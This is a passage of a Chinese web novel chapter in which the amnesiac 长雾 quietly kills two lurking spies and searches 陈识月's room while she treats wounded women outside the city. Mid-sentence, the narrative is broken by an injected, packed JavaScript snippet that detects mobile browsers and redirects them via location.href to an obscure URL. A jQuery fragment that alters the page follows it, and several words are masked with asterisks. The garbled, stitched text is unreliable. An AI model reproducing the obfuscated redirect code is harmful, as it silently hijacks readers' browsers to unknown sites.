如今是多事之秋,可不敢有任何的闪失。 下工之后,陈识月一如既往的收拾妥当,抬头便瞧见了在门外安静等候的林梵,不由得心神一震,当即将抓好的药塞进了包袱里,快速出了门。 “你怎么来了?不是在城外等我吗?”陈识月有些诧异。 林梵不以为意,带着她去了边上的巷子,那里停着她的马车,“她们不能动,我又不会坐以待毙,另外我不是说过,我是来找兄弟的吗?趁着她们今日高热降了,就进城来半点事。” “原来如此!”陈识月上了马车,“你没别的事儿了吧?” 林梵看上去情绪不佳,“没事,我们走吧!等她们情况好转,就不必再躲躲藏藏了。” “嗯!”陈识月没有想太多。 马车快速离开。 长雾远远的站着,看着马车快速朝着出城的方向而去,眸色微沉。想了想,他转头看向那两个探头探脑的东西,缓步朝着二人走过去。 不多时,街头传来了刺耳的尖叫声。 “**人!**了!” 一瞬间,人群四下逃窜,徒留下两具尸体倒伏在地。 府衙的人也来得快,毕竟尚书一案尚未了结,人就在附近徘徊,这会一有异动,人便齐刷刷的跑来了,可惜还是晚了一步。 两个人,两具尸体,无表面外伤。 “没有外伤?”衙役都愣了。 这瞧着不像是被人所杀,倒像是被吓死的? 两个人皆是双目圆瞪,嘴巴微张,四肢略有些僵直,双手紧握成拳,略显紧张状,身上没有明显外伤,初步判断利器所杀的痕迹。 另外,这二人的身上都带着利器,袖中时刻藏着**,且其中一人死的时候,一只手悄悄的抓紧了**的刀柄,说明他们随时准备动手。 那么问题来了? 他们是谁? 想干什么? 这**是想对付谁的? “可有瞧见他们当时在做什么?”衙役询问身边人。 无一人在意,这个时辰不是赶回家做饭,就是关店下工,谁还会管街上的陌生人?所以衙门的人问起,路人都是一脸茫然,当时谁也没看到究竟发生了何事,只瞧着两人忽然就倒下了。 忽然倒下了…… 瞧着也不像是**,毕竟唇上没发黑,手指关节也没发黑。 “算了,先抬回去。”衙役环顾四周,“可有谁认识的?他们家在何处?” 一问,全都不知道。 一个两个都说平时没见过,瞧着都是生面孔。 这可就把衙门的人难住了,莫名其妙的**两个陌生人,难道真是被吓死的? 罢了,先抬回去再说。 这可能只是单纯的意外,与孙尚书**一案没有直接关联。 长雾若无其事的回到小院,见着院子内外没有异常,这才兀自啃了几个馒头,权当是今天的晚饭,连灯盏都没开,就这么安安静静的坐在院中。 陈识月不在,整个小院都是死一般的寂静,原来一个人的生活竟是这般无趣,着实叫人厌烦。 厌烦也就罢了,那些个探头探脑的东西,还不知死活的来招惹他,不就是送上门来的靶子?一次两次还不够,接二连三的来,那就别怪他不客气了! 今日死在街头的这两个,就是他给与的警告。 不知道今晚会不会有人自投罗网? 心里空落落的,长雾不知道该做点什么,好像缺了一块。 他是失忆,但不是傻子。 关于陈识月糊弄他的那些话,其实他不怎么相信,即便她表现得很熟稔,但彼此之间没有血缘关系的假意迎合,是很容易察觉的。 感情发生自己身上,好与不好,真与假……都是很清楚的。 想了想,长雾转身去推陈识月的房间。 转念一想,又觉得不对,便从窗口翻了进去。 屋内陈设很简单,这毕竟是他们一起收拾的屋舍,他进出也不是一回,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455718|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是比较熟悉,随便在屋子里翻找了一下,倒是也没翻出个所以然来。 柜子里摆着两套欢喜的衣物,桌案上只摆着一个桃花梳,连个像样的首饰都没有,像她这个人一般,干干净净,简简单单。 唯一值得留意的便是书桌,摆着几本她不知道从哪儿收罗来医书和药经。 这大概是她唯一的爱好! 长雾随手翻阅了一下,不由得嗤笑一声,“平日里就喜欢看这些?” 蓦地,他猛地合上书册,笑容骤然凝结在脸上。 下一刻,他徐徐站起身来,目光凉薄的落在窗口位置,如即将捕猎的猛兽,默默的张开了他锋利的獠牙,随时出手…… 城外。 陈识月这一次算是轻车熟路,为两人检查完了伤势之后,真真是松了口气,“谢天谢地,终究是留了一条命!” “那就是说,她们不会**,对吗?”林梵眼前一亮。 陈识月点头,“目前来看,若没有其他变故,应该可以活过来了。但是伤得这么重,就算活下来也需要很长时间的静养,这副身子骨若不好好养着,以后就会留下病根。” 伤势太重,后遗症不可估量。 “人只要活着,就是万幸了。”林梵如释重负,“你说……你这么好的医术,为什么要在药铺里当伙计?但凡去医馆,不知能救多少人。” 陈识月笑笑不说话,在林梵看来,也只能算是“人各有志”吧! “她们情况稳定,那就没什么可担心了。”林梵又呢喃了一句,对着陈识月的时候,一副欲言又止的模样,似乎有什么难言之隐。 陈识月将药包递给她,“还是老样子,给煎服吧!” “你医术那么好,几乎可以用活**,肉白骨来形容。”林梵舔了舔唇瓣,“那什么……你、你能不能再给其他人看看?” 陈识月不解的看向她,然后又看了一眼门外,“还有谁受伤了?” “不是外面这些人,是我兄弟。”林梵嗫嚅着开口,“伤得很重,虽然有所好转,但我瞧着难受,想着你既医术如此绝佳,能否行行好?我兄弟有银子,可以给你诊费。” 陈识月倒不在乎诊费,“人在哪?” “将军府!”林梵忙道。